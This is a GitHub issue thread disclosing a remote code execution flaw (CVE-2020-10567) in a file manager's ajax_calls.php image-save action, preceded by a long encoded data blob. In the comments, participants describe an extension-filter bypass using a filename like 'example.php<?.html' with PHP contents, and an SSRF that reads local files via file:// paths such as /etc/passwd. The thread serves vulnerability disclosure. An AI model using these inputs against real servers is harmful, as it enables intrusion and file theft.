RwRnkGneaQuSciv16uHnTk00ejFxqLQuKSqRWzVJZQe9PDYSya51BobhYud80u:1CsnFPVS96iSa ZDiSAUlJn3pAKmzJsLjIwOtJg4wacBg5p2ARTu0hXIimRUD2wPNXNvGaQHnBqo1Wtio1GtjLa0Bz UBtGU9M1tmMHJwKaYgcggVvGuzZV2YhgbH3aQQNzxW0YB6UnkDPAFKVZ1fWHYyBbMe1SLaMOorWE IFO8tfSo9sS8QzOjtMkZFWUtVHarQQDoKcBSddmUqzfUhWNU4AqTGBxTiKUA1jKbZk22MyaMnvT8 fSjH0pCuNAzSFT2p/wCVNOc0mwTsRspqFxwanYHBprDjpWkWaRkVDwCaY5H15qd15PFQuvBzW90X LJM10asbXh6XG5ffNdKpBFcZo83k3oBPBFdfE4Kbh3r7/KK61TSPFxULSJs0ZpvpTu9eymcgtFJQ KYC0UUUwCiiigAooooAKKKKACkINLRSAbSYPalPS1FJNghuDjkZpNnBGKfRmpcU9Gh36mTqOkQ3S HIwxHBFcnd6bPY5ypaP1zmvQGyR0qvLbJMpDqPxry8X10KmqR1UMTKmeeK2DjpUok29TW9faACC0 igDmlzNCuxMUYwOadijHNS5XYXG4PalBHSnYpwUAUribEAyOlIR6Clp2KWgrjMUKKftzQFouguMx RxT9tJs5qguNxTSMnIqXZxTSOtS2CdyIg0wgjrUxFMYc1UGWmV3GM1XfJzirci8VXkTAJrdM1g2V o3ZJwy9RXYaZdiWILnLY5FcgRgk960tLvDFJgmvo8oxPLo2c2Kpcyujrx1xT6gh1WRQwPUVKOc19 tSmpxujx2rPUXNKKTFKBWiFoLRRRTAKKKKACiiigAooooAKKKKAEIz5ZNOpMCgBMmkp2BiilYBuW HrRS0UtRWGYB6gVnajpkV3G3GGX1ArT4OcU0gEEGsa2HhVi1JFQqShK9zz22855LORt/TPFVxyAQe ort9R09LiNty5PauNmiaKV0Ixg4H0r43MMD7NuS2PoMJiFNWY1DjvUqNg1ADilV+a8OcLHZKzRdU 59q1RuetVFYk4qaMnNYNWOdotgj1qQEVCvTmpFxismYyQ8HNPXrTFqQVm2Q1YUAHOaCOeKVeppcZ qSb6iAUAE9acBSgUEtjcc8UoBHQU4jjigAmi1xXGgnuKXPsKft9aNooswuMyaOeuKftoxTuFxhJx 0FNwSe1PIpAAOKW4JkZAFRkc5qdlyKjIpp2ZaZC54OahkG5cVYYcGosgcVpFmsXoUnQ5yRxio4pC knPFWps7cgcYqoQBkmuzD1XB3RsØ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 lcnPQ+t0DFRyc+9KQc8UhAxzWkW1sxuKe5//2Q==

A CVE has been requested and a potential fast patch is to dissable save_img in the config file

hackoclipse changed the title remote code execution vulnerability inajax calls.php i of no validation on extension name, remote code execution vulnerability in ajax calls.php in save imq action because of no validation on extension name. on Mar 13, 2020

hackoclipse commented on Mar 14, 2020

Author

cve assinged: CVE-2020-10567

joaovarelas commented on Mar 26, 2021 • edited 🕶

Hello @hackoclipse, I am unabe to reproduce. Which version has this vulnerability? Regards

EDIT: It seems that older versions are not affected by this issue.

hackoclipse commented on Apr 2, 2021

Author

it still works in the newest version.

and i think in version 9.13.4 it also work because one of my employers used that version when i repported this issue to them and got a shell on there servers.

but the latest commit is a bit buggy but the backend has not been changed so it should still work in that version if you go to the dialog,php page and run the javascript on that page. you do need to install "php-mbstring" or the backend error's out with a error 500.

you can find the location where it saves the file in the "upload_dir" what is also shown on the dialog.php page if you look with elemental inspect because that folder path can be different. sadly this issue never got fixed so i won't recommend using this software at all because it has more then only remote code execution issues. @joaovarelas

joaovarelas commented on Apr 4, 2021

Hi @hackoclipse thanks for clarifying that. I confirm it works on latest version.

I was testing an older version and it did not work because the upload of data; // content was not introduced at that time yet.

However, it was possible to achieve remote code execution by uploading a malicious PHP file, bypassing the extension filter

Regards

hackoclipse commented on Apr 4, 2021

Author

yeah im on the moment looking at the code and your right in 9.13.4 the code was a bit different and it checked for a aws bucket.

i think it still has a issue if you can control your own aws bucket because it doesn't close the url.

so you could give your own bucket.

but it would be more tricky.

but i would not recommend using this software because it also has internal ssrf what also affected version 9.13.4.

#598

joaovarelas commented on Apr 4, 2021

yeah im on the moment looking at the code and your right in 9.13.4 the code was a bit different and it checked for a aws bucket.

i think it still has a issue if you can control your own aws bucket because it doesn't close the url.

so you could give your own bucket.

but it would be more tricky

but i would not recommend using this software because it also has internal ssrf what also affected version 9.13.4.

On versions <= 9.13.0 (at least) it is possible to upload files by specifying multipart/form-data content type, setting the filename to example.php<?.html and the contents to <html><?php

There's also SSRF on url parameter that allows to load internal files by using file:// URI scheme. (e.g. file://etc/passwd).



hackoclipse commented on Apr 4, 2021

Author

vep thats why i won't reccomand using it at all.

they don't really want to fix there issues.

your intresting @joaovarelas maybe you should join the bug bounty hunters server:

https://discord.gg/bugbounty

we have many famous pentesters/bughunters like todayisnew, insiderphd, bendtheory.

https://hackerone.com/todayisnew?type=user

https://twitter.com/insiderphd

https://twitter.com/bendtheory

and many others.

you might fit well in the group.

offcource only ethical hacking.



Assignees

Labels

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

